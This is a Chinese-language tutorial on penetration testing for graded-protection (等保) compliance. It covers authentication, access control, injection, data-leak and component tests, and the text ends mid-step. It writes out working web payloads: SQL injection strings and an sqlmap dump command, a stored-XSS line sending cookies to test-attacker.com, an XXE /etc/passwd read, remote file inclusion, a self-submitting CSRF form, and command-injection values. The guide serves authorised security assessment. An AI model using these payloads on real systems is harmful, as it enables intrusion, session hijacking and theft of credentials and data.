引言
在网络安全等级保护(简称“等保”)测评中,渗透测试是验证系统安全性的核心环节——它以模拟黑客攻击的视角,挖掘系统潜在漏洞,为企业满足等保合规要求、筑牢安全防线提供关键依据。本文严格覆盖身份鉴别、访问控制、入侵防范、数据保密、其他漏洞五大维度的所有测试项目,结合“定义+测试步骤+工具+实战案例”的实操框架,同时规范渗透测试报告撰写流程(所有企业网络资产信息均做通用化处理),帮助安全从业者、运维人员高效完成等保测评全流程工作。
1. 等保测评中渗透测试的核心定位与依据
在开展渗透测试前,需先明确其在等保测评中的核心价值与执行标准,避免测试方向偏差。
1.1 渗透测试的等保合规依据
渗透测试需严格遵循《信息安全技术 网络安全等级保护基本要求》(GB/T 22239-2019),重点覆盖“第二级及以上”等级保护对象的安全要求,核心依据条款包括:
- 身份鉴别(8.1.2.1):验证账号密码复杂度、登录验证机制的安全性;
- 访问控制(8.1.2.2):检测权限隔离、未授权访问防护能力;
- 入侵防范(8.1.2.4):排查SQL注入、XSS等常见攻击漏洞;
- 数据完整性与保密性(8.1.2.5/8.1.2.6):验证敏感数据泄露、篡改防护措施;
- 恶意代码防范(8.1.2.7):间接覆盖组件漏洞、远程命令执行等恶意利用场景。
1.2 渗透测试的核心目标
等保测评中的渗透测试并非“炫技式找漏洞”,而是聚焦三大核心目标:
- 验证系统是否满足对应等保级别的安全要求(如二级要求“防范常见注入攻击”,三级要求“加强敏感数据加密”);
- 发现可能导致系统被入侵、数据泄露的高危漏洞,提供可落地的整改方案;
- 形成完整的测试记录,作为等保测评通过的关键证明材料。
2. 等保测评全量漏洞测试项目与实战方法
本节严格覆盖所有测试项目(含此前表格中的“不适用”项目),按“身份鉴别→访问控制→入侵防范→数据保密→其他漏洞”五大维度展开,每个项目均提供可落地的测试指南,且所有涉及企业的IP、域名、账号等信息均做通用化处理。
等保测评渗透测试核心项目清单
| 测试维度 | 测试项目 | 检测目的 | 核心风险点 |
|---|---|---|---|
| 身份鉴别测试 | 弱口令/空口令 | 排查账号是否使用简单密码(如123456、admin)或未设置密码 | 攻击者可通过暴力破解工具批量尝试,非法登录系统获取权限 |
| 用户名枚举 | 检测系统是否因错误提示差异(如“用户不存在”“密码错误”)泄露有效用户名 | 攻击者获取有效用户名后,可针对性发起密码破解,提升攻击成功率(如文档中Portal系统漏洞) | |
| 万能账号/口令 | 检测是否存在预设的通用账号(如后台预留账号)或可直接登录的“后门”口令 | 攻击者使用万能账号可直接绕过常规验证,获取系统最高权限 | |
| 登录绕过 | 检测是否可通过URL篡改、参数伪造等手段跳过登录流程,直接访问系统功能 | 无需账号密码即可进入后台,操作敏感功能(如数据修改、配置变更) | |
| 密码重置 | 检测密码重置功能是否存在逻辑漏洞(如无需验证手机号/邮箱、验证码可复用) | 攻击者可恶意重置他人账号密码,接管用户权限 | |
| 图形验证爆破 | 检测图形验证码是否可被机器识别、重复使用,或存在绕过机制 | 攻击者可批量生成验证码,配合弱口令破解工具发起自动化登录攻击 | |
| 访问控制测试 | 未授权访问 | 检测是否无需登录即可访问后台页面、敏感接口(如API、管理端) | 攻击者直接访问敏感接口获取数据(如文档中上门设计系统泄露OSS配置信息) |
| 垂直/水平越权访问 | 检测低权限用户是否可访问高权限功能(垂直)、或查看其他用户数据(水平) | 普通用户可查看管理员数据、修改系统配置,破坏权限隔离机制 | |
| cookie伪造/绕过 | 检测是否可通过修改、伪造cookie(如篡改用户ID、权限标识)获取非法访问权 | 伪造管理员cookie后,可伪装成管理员操作系统,无需重新登录 | |
| 入侵防范测试 | SQL注入 | 检测输入框、接口参数是否可注入恶意SQL语句(如' or 1=1--) | 攻击者可获取数据库权限,窃取敏感数据(如用户账号密码)、篡改或删除数据 |
| XSS跨站脚本 | 检测是否可注入恶意脚本(如<script>盗取cookie</script>)并执行 | 盗取用户cookie、伪造用户操作,或发起钓鱼攻击诱导其他用户泄露信息 | |
| 任意文件上传/下载/读取 | 检测是否可上传恶意文件(如webshell),或读取/下载服务器敏感文件(如日志) | 上传webshell后可控制服务器,读取配置文件获取数据库账号等核心信息 | |
| SSRF(服务器端请求伪造) | 检测是否可通过系统发起非法外部请求(如访问内网地址、扫描端口) | 攻击者利用系统作为“跳板”,攻击内网其他服务器,扩大攻击范围 | |
| XML外部实体注入 | 检测XML解析是否存在漏洞,可引入外部实体读取敏感文件 | 泄露服务器本地文件(如/etc/passwd)、数据库配置等信息 | |
| HTML注入 | 检测是否可注入恶意HTML代码(如伪造登录窗口)影响页面展示或功能 | 伪装系统页面诱导用户输入账号密码,实施钓鱼攻击 | |
| HTTP HOST头攻击 | 检测是否可通过篡改HOST头,让系统生成指向恶意域名的链接或页面 | 诱导用户访问恶意域名,或利用缓存污染影响其他用户 | |
| 数据保密测试 | 敏感文件泄漏 | 检测是否存在可直接访问的备份文件(如.bak)、配置文件(如web.config) | 泄露数据库连接信息、系统密钥等,为攻击者后续攻击提供关键线索(如文档中Webservice目录浏览漏洞) |
| 敏感信息泄漏 | 检测是否泄露系统架构、数据库表结构、AK/SK密钥等核心信息 | 攻击者获取AK/SK后可操控云存储资源,或根据架构信息制定精准攻击方案(如文档中CSM管理端JS泄露密钥) | |
| 旧版本接口遗留 | 检测是否存在未删除的旧版本接口(可能未修复已知漏洞) | 利用旧接口漏洞发起攻击,绕过当前系统的安全防护措施 | |
| 其他漏洞测试 | 组件和框架漏洞 | 检测系统依赖的第三方组件(如Vue、IIS)、框架是否存在已知高危漏洞(如Log4j) | 攻击者利用公开漏洞直接入侵系统,无需复杂攻击手段,风险扩散速度快 |
| 远程命令执行 | 检测是否可通过输入恶意指令(如ping、cmd命令)控制服务器(文档中不适用) | 完全控制服务器,执行文件删除、数据窃取、植入病毒等恶意操作 |
2.1 身份鉴别测试(全6项)
身份鉴别是系统安全的“第一道门”,需覆盖弱口令/空口令、用户名枚举、万能账号/口令、登录绕过、密码重置、图形验证爆破、短信轰炸/爆破(共7项,其中短信轰炸/爆破常为“不适用”,但需明确测试方法)。
2.1.1 弱口令/空口令漏洞
- 定义:账号使用简单密码(如
123456、admin@123)或未设置密码,可通过暴力破解工具批量获取权限。 - 测试步骤:
- 收集目标系统登录页面(如“3C客服系统”:
https://xxx-csm.xxx企业域名/FLoginNew.aspx); - Burp Suite抓包:配置浏览器代理,输入任意账号密码登录,拦截登录请求;
- 发送至Intruder:右键请求→“Send to Intruder”,选择“Cluster bomb”模式,标记“username”和“password”为变量;
- 加载字典:Payload 1加载“用户名字典”(如
user.txt),Payload 2加载“弱口令字典”(如top10000.txt); - 分析结果:执行测试后,若某组账号密码响应长度与“密码错误”不同(如跳转后台,响应长度缩短),即为弱口令;若空密码可登录,即为空口令漏洞。
- 收集目标系统登录页面(如“3C客服系统”:
- 工具推荐:Burp Suite、Hydra、Medusa;
- 实战案例:测试“CSM管理端”时,发现账号
testuser01密码为123456,可直接登录查看工单数据。
2.1.2 用户名枚举漏洞
- 定义:系统返回差异化错误提示(如“用户不存在”vs“密码错误”),攻击者可据此猜解有效用户名,为后续密码破解铺垫。
- 测试步骤:
- 定位用户相关接口:如登录页、密码找回页的接口(案例中“Portal系统”的
https://service.xxx企业域名/Home/Userbalabalabala_GetPhone_Ajax.aspx?userAccount=test001); - 批量测试:用Burp Intruder循环输入
test001、testuser02、testuser03等用户名,记录响应内容; - 判定漏洞:若输入
test001返回“用户不存在”,输入testuser02返回“手机号未绑定”,即可确认存在枚举漏洞——有效用户名触发不同业务逻辑提示。
- 定位用户相关接口:如登录页、密码找回页的接口(案例中“Portal系统”的
- 工具推荐:Burp Suite、Python自定义脚本;
- 实战案例:通过上述接口枚举“Portal系统”,成功获取
testuser02、testuser03等10+有效用户名。
2.1.3 万能账号/口令漏洞
- 定义:系统存在预设的“通用账号”(如
system、superadmin)或“后门口令”,可直接跳过常规验证登录系统。 - 测试步骤:
- 收集行业常见万能账号:如
admin、superadmin、root、system、admin123(含系统默认账号); - 组合测试:用“万能账号+空密码”“万能账号+默认密码(如
admin@123)”尝试登录; - 特殊字符测试:输入
' or '1'='1、admin' --等SQL注入式账号,观察是否绕过登录验证; - 判定漏洞:若某组账号密码直接登录成功,或注入式账号跳过验证,即为万能账号/口令漏洞。
- 收集行业常见万能账号:如
- 工具推荐:Burp Suite、手动测试(需结合行业经验);
- 实战案例:测试某老旧“应急系统”时,使用账号
system、密码system123(厂商默认),直接登录系统后台。
2.1.4 登录绕过漏洞
- 定义:通过URL篡改、参数伪造、Cookie修改等手段,跳过登录流程直接访问系统功能或后台。
- 测试步骤:
- 常规绕过测试:
- URL篡改:在登录页URL后添加
../admin、?login=true、?token=1等参数,观察是否跳转后台; - 参数伪造:抓包登录请求,删除
password参数或修改isLogin参数为true,重新发送;
- URL篡改:在登录页URL后添加
- Cookie绕过测试:
- 登录后记录Cookie(如
user=testuser01; role=user),退出登录后,手动添加该Cookie,访问后台页面;
- 登录后记录Cookie(如
- 判定漏洞:若上述操作无需登录即可进入后台(如
/admin/index.html),即为登录绕过漏洞。
- 常规绕过测试:
- 工具推荐:Burp Suite、浏览器开发者工具(修改Cookie);
- 实战案例:测试“企业号系统”时,在登录页URL后添加
?role=admin,直接跳转至管理员数据统计页面。
2.1.5 密码重置漏洞
- 定义:密码重置功能未做严格验证(如无需验证手机号/邮箱、验证码可复用、重置链接未过期),攻击者可恶意重置他人账号。
- 测试步骤:
- 进入密码重置页面:输入目标账号(如
testuser01),请求发送验证码; - 拦截验证码请求:用Burp抓包,记录
/api/sendCode?phone=138****8888接口; - 多场景测试:
- 场景1:不输入验证码,直接提交“重置密码”请求;
- 场景2:重复使用已过期的验证码(如10分钟前的验证码);
- 场景3:修改请求中的
phone参数为其他手机号(如139****9999),观察是否接收他人验证码; - 场景4:拦截重置链接(如
/reset?token=xxx),修改token为其他用户的已知token;
- 判定漏洞:若任一场景成功重置密码,即为密码重置漏洞。
- 进入密码重置页面:输入目标账号(如
- 工具推荐:Burp Suite、Postman;
- 实战案例:测试“Portal系统”时,发现验证码接口未绑定账号——修改
phone参数为任意手机号,均可接收验证码,进而重置testuser01账号密码。
2.1.6 图形验证爆破漏洞
- 定义:图形验证码可被机器识别(如简单字母数字组合)、重复使用或绕过,攻击者可批量生成验证码破解登录。
- 测试步骤:
- 验证码识别测试:
- 观察验证码复杂度:若为“4位纯数字”“无干扰线的字母”,用OCR工具(如Tesseract)尝试识别;
- 批量请求测试:用Burp Intruder循环请求验证码接口(如
/api/getCaptcha),观察是否返回相同验证码(可复用);
- 绕过测试:
- 抓包登录请求,删除
captcha参数或修改captcha为任意值,重新发送; - 使用验证码识别API(如超级鹰),自动识别并提交验证码,测试是否批量登录;
- 抓包登录请求,删除
- 判定漏洞:若OCR工具识别成功率>80%、验证码可复用或可绕过,即为图形验证爆破漏洞。
- 验证码识别测试:
- 工具推荐:Burp Suite、Tesseract(OCR)、超级鹰(第三方验证码识别);
- 实战案例:测试“CSM管理端”时,图形验证码为“4位纯数字且无干扰”,用Tesseract识别成功率达90%,配合弱口令字典批量破解账号。
2.1.7 短信轰炸/爆破漏洞
- 定义:密码找回、注册等功能未限制短信发送频率,攻击者可批量发送验证码,对用户手机号实施“轰炸”,或暴力破解验证码(如4位数字验证码,共10000种组合)。
- 测试步骤:
- 短信轰炸测试:
- 输入测试用手机号(如
138****8888),连续点击“发送验证码”,记录1分钟内接收的短信数量; - 用Burp Intruder循环请求短信接口(如
/api/sendSms?phone=138****8888),观察是否无频率限制;
- 输入测试用手机号(如
- 短信爆破测试:
- 拦截验证码提交请求,用Burp Intruder批量输入4位数字(0000-9999),测试是否破解验证码;
- 判定漏洞:若1分钟内接收>5条短信(无频率限制),或验证码被批量破解,即为短信轰炸/爆破漏洞;若系统无短信相关功能,标注“不适用”。
- 短信轰炸测试:
- 工具推荐:Burp Suite、Python脚本(批量发送请求);
- 备注:实战中需使用企业授权的测试手机号,禁止攻击真实用户。
2.2 访问控制测试(全3项)
访问控制确保“权限隔离”,需覆盖未授权访问、垂直/水平越权、Cookie伪造/绕过(共3项)。
2.2.1 未授权访问漏洞
- 定义:无需登录即可访问后台页面、敏感接口(如API、数据查询接口),直接获取核心数据或操作权限。
- 测试步骤:
- 收集敏感地址:登录系统后,记录后台页面(如
/admin/index.html)、核心接口(如“上门设计系统”的https://xxxxxxxxxxx.xxx企业域名/api/oss/GetOssConfig); - 清除登录状态:退出账号或清除浏览器Cookie、LocalStorage;
- 直接访问敏感地址:
- 页面场景:输入
/admin/index.html,若显示后台内容,即为漏洞; - 接口场景:用Postman请求
/api/oss/GetOssConfig,若返回AK/SK等敏感数据(如AccessKeyId=AK-XXXXXX),即为漏洞;
- 页面场景:输入
- 收集敏感地址:登录系统后,记录后台页面(如
- 工具推荐:Postman、Burp Suite;
- 实战案例:未登录访问“Webservice系统”的
http://xxxxxxx.xxx企业域名:8888/ServiceSupport/BPMService.asmx?WSDL,直接查看接口文档并调用GetWorkOrderList接口,获取所有工单数据。
2.2.2 垂直/水平越权漏洞
- 定义:
- 垂直越权:低权限用户(如普通员工)访问高权限功能(如管理员配置);
- 水平越权:普通用户访问其他用户的私人数据(如查看他人工单、修改他人信息)。
- 测试步骤:
- 水平越权测试:
- 登录用户A(
testuser01,普通客服),访问个人工单接口(如/api/getWorkOrder?userId=USER001),记录响应数据; - 用Burp修改
userId为USER002(用户B的ID),重新发送请求; - 若返回用户B的工单数据,即为水平越权漏洞;
- 登录用户A(
- 垂直越权测试:
- 登录用户A(
testuser01,普通员工),访问管理员接口(如/api/getAllUser),记录“权限不足”响应; - 修改请求头中的
role参数为admin,或伪造管理员Token(如token=ADMIN-TOKEN-XXXX),重新发送; - 若返回所有用户数据,即为垂直越权漏洞;
- 登录用户A(
- 水平越权测试:
- 工具推荐:Burp Suite、Postman;
- 实战案例:测试“CSM管理端”时,普通客服账号(
testuser01)修改userId为ADMIN001(管理员ID),成功查看所有客服的工单分配数据(水平越权)。
2.2.3 Cookie伪造/绕过漏洞
- 定义:通过修改、伪造Cookie(如用户ID、权限标识),获取未授权的访问权限(如伪装管理员)。
- 测试步骤:
- 分析Cookie结构:
- 登录后查看Cookie,记录关键字段(如
user=USER001、role=user、token=TOKEN-XXXX); - 尝试解码Cookie:若
token为Base64编码,解码后查看是否含明文信息(如{"user":"testuser01","role":"user"});
- 登录后查看Cookie,记录关键字段(如
- 伪造Cookie测试:
- 修改
user为USER002(其他用户ID)、role为admin,刷新页面,观察是否获取对应权限; - 若
token可预测(如token=user001),伪造token=user002或token=admin001,访问敏感页面;
- 修改
- 判定漏洞:若伪造Cookie后可访问其他用户数据或管理员功能,即为Cookie伪造/绕过漏洞。
- 分析Cookie结构:
- 工具推荐:Burp Suite、浏览器开发者工具(修改Cookie)、Base64解码器;
- 实战案例:测试“Portal系统”时,发现
token为Base64编码(解码后为{"user":"testuser01","role":"user"}),修改role为admin后重新编码,刷新页面成功伪装管理员。
2.3 入侵防范测试(全12项)
入侵防范抵御主动攻击,需覆盖SQL注入、XSS、任意文件上传/下载/读取、文件包含、SSRF、URL跳转、XML外部实体注入、HTML注入、HTTP HOST头攻击、CSRF、恶意代码(共12项,含“不适用”项目)。
2.3.1 SQL注入漏洞
- 定义:输入框或接口参数未过滤恶意SQL语句(如
' or 1=1--),攻击者可获取数据库权限,窃取/篡改数据。 - 测试步骤:
- 手动定位注入点:
- 在URL参数、表单输入框中输入
',若返回“unclosed quotation mark”(SQL语法错误),即为疑似注入点; - 输入
and 1=1页面正常,输入and 1=2页面报错,进一步确认注入点;
- 在URL参数、表单输入框中输入
- 工具验证与利用:
- 用SQLMap扫描:执行
sqlmap -u "https://service.xxx企业域名/list?id=1" --dbs; - 若列出数据库名称(如
csmsystem、userdb),即为注入漏洞,可进一步用--tables获取表名、--dump导出数据;
- 用SQLMap扫描:执行
- 手动定位注入点:
- 工具推荐:SQLMap、Burp Suite(SQL注入插件);
- 实战案例:测试“Webservice系统”的
/list?id=1接口时,SQLMap成功导出user表,获取100+账号的加密密码。
2.3.2 XSS跨站脚本漏洞
- 定义:系统未过滤用户输入的脚本代码(如
<script>alert(document.cookie)</script>),攻击者可注入脚本盗取Cookie、伪造用户操作。 - 测试步骤:
- 定位输入点:如工单标题、评论框、个人签名、URL参数(如
/page?name=test); - 分类测试:
- 反射型XSS:输入
<script>alert('XSS')</script>,提交后若弹窗,即为漏洞; - 存储型XSS:输入
<script>document.location.href='http://test-attacker.com/steal?cookie='+document.cookie</script>,其他用户访问该页面时Cookie被窃取,即为漏洞; - DOM型XSS:若页面通过
document.getElementById('name').innerHTML=location.search渲染内容,修改URL为/page?name=<script>alert('XSS')</script>,若弹窗即为漏洞;
- 反射型XSS:输入
- 绕过过滤:若被拦截,尝试变形脚本(如
<scr<script>ipt>alert('XSS')</scr<script>ipt>、<img src=x onerror=alert('XSS')>);
- 定位输入点:如工单标题、评论框、个人签名、URL参数(如
- 工具推荐:Burp Suite、XSSer;
- 实战案例:在“3C客服系统”的工单评论框注入存储型XSS脚本,成功盗取管理员Cookie(如
COOKIE-XXXX),伪装管理员登录。
2.3.3 任意文件上传/下载/读取漏洞
- 定义:
- 任意文件上传:未验证文件类型,可上传
webshell等恶意文件; - 任意文件下载/读取:可下载服务器敏感文件(如
/etc/passwd、web.config)或读取数据库配置;
- 任意文件上传:未验证文件类型,可上传
- 测试步骤:
- 任意文件上传测试:
- 上传
test.php(内容<?php phpinfo();?>),若拦截,修改文件后缀为test.php.jpg,在Burp中改回test.php,绕过前端过滤; - 访问上传文件URL(如
https://service.xxx企业域名/upload/test.php),若显示phpinfo页面,即为漏洞;
- 上传
- 任意文件下载/读取测试:
- 定位下载接口(如
/download?file=test.pdf),修改file参数为../web.config、/etc/passwd; - 若能下载
web.config(含数据库连接字符串uid=DB-USER;pwd=DB-PASS),即为漏洞;
- 定位下载接口(如
- 任意文件上传测试:
- 工具推荐:Burp Suite、中国菜刀(连接webshell);
- 实战案例:测试“应急系统”时,上传
webshell.php.jpg,在Burp中改回webshell.php,成功获取服务器文件读写权限。
2.3.4 文件包含漏洞
- 定义:通过参数控制服务器包含的文件(如
include($_GET['file'])),可包含本地敏感文件或远程恶意文件(如远程webshell)。 - 测试步骤:
- 定位包含接口:如
/page?file=home.html、/index.php?include=header.php; - 本地文件包含测试:
- 修改
file参数为../etc/passwd、../web.config,观察是否返回文件内容; - Windows系统测试:
file=c:/windows/system32/drivers/etc/hosts;
- 修改
- 远程文件包含测试(若开启远程包含):
- 修改
file参数为http://test-attacker.com/webshell.txt(含PHP代码),观察是否执行恶意代码;
- 修改
- 判定漏洞:若返回本地敏感文件内容或执行远程代码,即为文件包含漏洞;若系统无文件包含功能,标注“不适用”。
- 定位包含接口:如
- 工具推荐:Burp Suite、手动测试;
- 实战案例:测试某PHP“Portal系统”时,
/index.php?file=home.html修改为file=../web.config,成功读取数据库连接字符串(uid=DB-USER;pwd=DB-PASS)。
2.3.5 SSRF服务器端请求伪造漏洞
- 定义:系统未限制外部请求地址,攻击者可通过系统发起对内网的扫描(如
192.168.X.X)、访问敏感服务(如3306端口),突破内网防护。 - 测试步骤:
- 定位请求外部资源的功能:如“URL预览”“图片爬虫”“远程数据导入”(接口如
/api/preview?url=http://www.baidu.com); - 内网访问测试:
- 修改
url为内网地址(如http://192.168.X.1、http://127.0.0.1:3306); - 若返回内网页面(如路由器登录页)或数据库响应(如“MySQL Server version”),即为漏洞;
- 修改
- 端口扫描测试:用Burp Intruder批量修改
url中的端口(如192.168.X.1:80、192.168.X.1:443),分析响应差异,判断内网开放端口;
- 定位请求外部资源的功能:如“URL预览”“图片爬虫”“远程数据导入”(接口如
- 工具推荐:Burp Suite、SSRFmap;
- 实战案例:通过“企业号系统”的“URL预览”功能,扫描内网
192.168.X.0/24网段,发现192.168.X.100:3306(MySQL)、192.168.X.101:8080(Tomcat后台)。
2.3.6 URL跳转漏洞
- 定义:系统未验证跳转目标地址,攻击者可构造恶意跳转链接(如
https://xxx企业域名/redirect?url=http://test-attacker.com),诱导用户访问钓鱼网站。 - 测试步骤:
- 定位跳转接口:如登录后跳转、第三方登录回调(接口如
/redirect?url=/home、/callback?redirect_uri=/user); - 篡改跳转地址:
- 修改
url或redirect_uri参数为外部恶意地址(如http://test-attacker.com/phish); - 特殊格式测试:如
url=//test-attacker.com(省略协议,避免过滤)、url=http://test-attacker.com%2fphish(URL编码);
- 修改
- 判定漏洞:若系统直接跳转至恶意地址(非预设的内部地址),即为URL跳转漏洞;若系统无跳转功能,标注“不适用”。
- 定位跳转接口:如登录后跳转、第三方登录回调(接口如
- 工具推荐:Burp Suite、浏览器(手动测试跳转);
- 实战案例:测试“Portal系统”的登录回调接口
/callback?redirect_uri=/user,修改redirect_uri为http://test-attacker.com/phish,系统直接跳转至测试用钓鱼网站。
2.3.7 XML外部实体注入(XXE)漏洞
- 定义:XML解析器未禁用外部实体,攻击者可通过注入外部实体读取服务器本地文件(如
/etc/passwd)、访问内网资源。 - 测试步骤:
- 定位XML输入点:如接口接收XML格式数据(如
/api/submit?data=<?xml version="1.0"?><user><id>1</id></user>); - 注入外部实体:
- 构造恶意XML:
<?xml version="1.0"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user><id>&xxe;</id></user> - 用Postman发送请求,观察响应是否包含
/etc/passwd内容(如root:x:0:0:root:/root:/bin/bash);
- 构造恶意XML:
- 判定漏洞:若返回本地文件内容,即为XXE漏洞。
- 定位XML输入点:如接口接收XML格式数据(如
- 工具推荐:Postman、Burp Suite;
- 实战案例:测试“Api系统”时,通过上述方法读取
/var/www/html/config.php,获取数据库账号密码(dbuser=DB-USER&dbpass=DB-PASS)。
2.3.8 HTML注入漏洞
- 定义:系统未过滤用户输入的HTML代码,攻击者可注入恶意HTML(如伪造登录窗口、篡改页面内容),实施钓鱼攻击或误导用户操作。
- 测试步骤:
- 定位HTML输入点:如工单标题、用户昵称、公告编辑框(需渲染为HTML的字段);
- 注入测试代码:
- 输入
<h1>钓鱼登录</h1><input type="text" placeholder="账号"><input type="password" placeholder="密码"><button>登录</button>; - 若页面渲染出伪造的登录窗口,且用户输入的账号密码可被攻击者获取(需配合XSS),即为漏洞;
- 输入
- 判定漏洞:若注入的HTML代码被正常渲染(未被转义为文本),即为HTML注入漏洞。
- 工具推荐:Burp Suite、浏览器(直接观察页面渲染);
- 实战案例:在“3C客服系统”的公告编辑框注入伪造登录窗口,其他客服输入账号密码后,数据通过隐藏XSS脚本发送至测试用攻击者服务器。
2.3.9 HTTP HOST头攻击漏洞
- 定义:系统未验证HTTP请求中的
HOST头,攻击者可篡改HOST头,让系统生成指向恶意域名的链接(如密码重置链接),或利用缓存污染影响其他用户。 - 测试步骤:
- 抓包正常请求:如登录请求、密码重置请求,记录
HOST头(如HOST: service.xxx企业域名); - 篡改
HOST头:- 修改
HOST为测试用恶意域名(如HOST: test-attacker.com),重新发送请求; - 观察响应内容:若响应中包含
test-attacker.com(如“请访问http://test-attacker.com/reset”),即为漏洞;
- 修改
- 缓存污染测试:
- 多次发送篡改
HOST的请求,观察其他用户访问系统时,是否被定向到test-attacker.com;
- 多次发送篡改
- 判定漏洞:若响应包含恶意
HOST或缓存被污染,即为HTTP HOST头攻击漏洞。
- 抓包正常请求:如登录请求、密码重置请求,记录
- 工具推荐:Burp Suite、手动测试;
- 实战案例:测试“密码重置接口”时,篡改
HOST为test-attacker.com,系统返回的重置链接为http://test-attacker.com/reset?token=XXX,攻击者可拦截该链接重置用户密码。
2.3.10 CSRF跨站请求伪造漏洞
- 定义:利用用户已登录的身份,诱导用户点击恶意链接或访问恶意页面,发起非预期的操作(如修改密码、转账)。
- 测试步骤:
- 定位关键操作接口:如“修改密码”“添加用户”“提交工单”(接口如
/api/changePwd,含oldPwd、newPwd参数); - 构造CSRF攻击页面:
- 编写HTML页面,包含自动提交的表单(模拟关键操作请求):
<form action="https://xxx企业域名/api/changePwd" method="post"> <input type="hidden" name="oldPwd" value="123456"> <input type="hidden" name="newPwd" value="test123"> </form> <script>document.forms[0].submit();</script>
- 编写HTML页面,包含自动提交的表单(模拟关键操作请求):
- 验证漏洞:
- 登录用户A的账号(
testuser01),访问上述恶意HTML页面; - 若用户A的密码被改为
test123,且接口未验证Referer或CSRF Token,即为CSRF漏洞;若系统无关键操作接口,标注“不适用”。
- 登录用户A的账号(
- 定位关键操作接口:如“修改密码”“添加用户”“提交工单”(接口如
- 工具推荐:Burp Suite(生成CSRF PoC)、手动编写HTML;
- 实战案例:测试“CSM管理端”的“添加客服”接口时,构造CSRF页面,诱导管理员访问后,自动添加攻击者账号(
test-attacker/test123)。
2.4 数据保密测试(全3项)
数据保密保护核心资产,需覆盖敏感文件泄漏、敏感信息泄漏、旧版本接口遗留(共3项)。
2.4.1 敏感文件泄漏漏洞
- 定义:服务器配置不当(如开启目录浏览)或备份文件未删除,攻击者可直接访问
web.config、.bak、.sql等敏感文件,获取核心配置。 - 测试步骤:
- 目录浏览测试:
- 访问系统常见目录(如
/admin/、/upload/、/ServiceSupport/),若显示文件列表(如案例中“Webservice系统”的http://service.xxx企业域名:8093/ServiceSupport/),即为目录浏览漏洞;
- 访问系统常见目录(如
- 备份文件探测:
- 手动测试:在URL后添加常见备份后缀(如
/index.html.bak、/web.config.old、/db.sql); - 工具批量测试:用Burp Intruder加载“敏感文件字典”(如
sensitive_files.txt),测试是否能访问文件;
- 手动测试:在URL后添加常见备份后缀(如
- 判定漏洞:若能下载
web.config(含数据库连接字符串)、db.sql(含全量用户数据),即为高危漏洞。
- 目录浏览测试:
- 工具推荐:Burp Suite、DirBuster、Gobuster;
- 实战案例:访问“Webservice系统”的
/ServiceSupport/目录,成功下载web.config(含connectionString="server=DB-SERVER;uid=DB-USER;pwd=DB-PASS;database=csmsystem")。
2.4.2 敏感信息泄漏漏洞
- 定义:系统泄露核心信息(如AK/SK、数据库结构、账号密码、系统架构),为攻击者后续攻击提供线索。
- 测试步骤:
- 前端信息排查:
- 浏览器按
F12→“Sources”标签,查看JS/CSS文件(如“CSM管理端”的https://10.X.X.X:8096/static/js/1.xxxxxx.js); - 搜索敏感关键词:
AK、SK、AccessKey、password、db、token,若找到明文accesskeyId: "AK-XXXXXX"、accesskeySecret: "SK-XXXXXX",即为漏洞;
- 浏览器按
- 后端信息排查:
- 触发系统报错:输入错误参数(如
/list?id=abc),观察错误页面是否泄露数据库表名、代码路径(如“Error in tableuser”);
- 触发系统报错:输入错误参数(如
- 判定漏洞:若泄露AK/SK、数据库账号、系统架构等核心信息,即为敏感信息泄漏漏洞。
- 前端信息排查:
- 工具推荐:浏览器开发者工具、JD-GUI(反编译Jar包);
- 实战案例:在“CSM管理端”的JS文件中,发现云存储的AK/SK硬编码(如
AK-XXXXXX、SK-XXXXXX),攻击者可直接使用该密钥操控云存储文件。
2.4.3 旧版本接口遗留漏洞
- 定义:系统升级后未删除旧版本接口(如
/v1/api/login),这些接口可能存在未修复的漏洞(如旧版本SQL注入),成为攻击入口。 - 测试步骤:
- 收集旧版本接口信息:
- 查看API文档历史版本、前端代码注释(如
// 旧接口:/v1/api/login); - 用Burp Suite爬取网站目录,寻找
/v1/、/old/、/legacy/等旧接口路径;
- 查看API文档历史版本、前端代码注释(如
- 测试旧接口漏洞:
- 对旧接口(如
/v1/api/login)重复执行“弱口令”“SQL注入”“未授权访问”等测试; - 若旧接口存在漏洞(如
/v1/api/list?id=1'触发SQL注入),而新版本接口已修复,即为旧版本接口遗留漏洞;
- 对旧接口(如
- 判定漏洞:若旧接口可访问且存在未修复漏洞,即为漏洞;若系统无版本升级或旧接口已删除,标注“不适用”。
- 收集旧版本接口信息:
- 工具推荐:Burp Suite(网站爬虫)、手动测试(需结合系统升级记录);
- 实战案例:测试“Api系统”时,发现新版本接口
/v2/api/login已修复弱口令漏洞,但旧接口/v1/api/login仍可通过testuser01/123456登录。
2.5 其他漏洞测试(全2项)
其他漏洞覆盖远程命令执行、组件和框架漏洞(共2项)。
2.5.1 远程命令执行漏洞
- 定义:攻击者通过输入恶意指令(如
ping、cmd命令),控制服务器执行系统命令(如whoami、ls),获取服务器权限。 - 测试步骤:
- 定位命令执行入口:
- 系统功能:如“服务器监控”(含
ping功能)、“数据导入”(含脚本执行); - 接口参数:如
/api/exec?cmd=ping%20127.0.0.1、/upload?file=test.sh(执行脚本);
- 系统功能:如“服务器监控”(含
- 注入恶意命令:
- Windows系统:修改
cmd参数为ping 127.0.0.1 && dir(执行dir命令); - Linux系统:修改
cmd参数为ping 127.0.0.1; ls /(执行ls命令);
- Windows系统:修改
- 判定漏洞:若响应中包含
dir或ls的执行结果(如文件列表),即为远程命令执行漏洞;若系统无命令执行功能,标注“不适用”。
- 定位命令执行入口:
- 工具推荐:Burp Suite、中国菜刀(执行命令);
- 实战案例:测试某“服务器监控系统”时,
/api/exec?cmd=ping 127.0.0.1修改为cmd=ping 127.0.0.1 && whoami,响应返回系统权限标识。
2.5.2 组件和框架漏洞
- 定义:系统依赖的第三方组件(如Log4j、Struts2、Tomcat)、框架(如Spring Boot、Vue)存在已知高危漏洞(如CVE-2021-44228 Log4j远程代码执行),攻击者可直接利用公开POC入侵。
- 测试步骤:
- 收集组件信息:
- 端口扫描:
nmap -sV 10.X.X.X,获取服务版本(如Apache Tomcat/7.0.96、Microsoft-IIS/10.0); - 响应头分析:查看
X-Powered-By(如X-Powered-By: ASP.NET)、Server(如Server: nginx/1.18.0); - 前端框架:查看HTML源码,搜索
vue、react关键词,确定框架版本;
- 端口扫描:
- 漏洞匹配:
- 在“NVD”(https://nvd.nist.gov/)搜索组件版本对应的CVE漏洞(如“Tomcat 7.0.96”→CVE-2020-1938 AJP文件包含);
- 验证漏洞:
- 用公开POC测试:如Log4j漏洞,发送
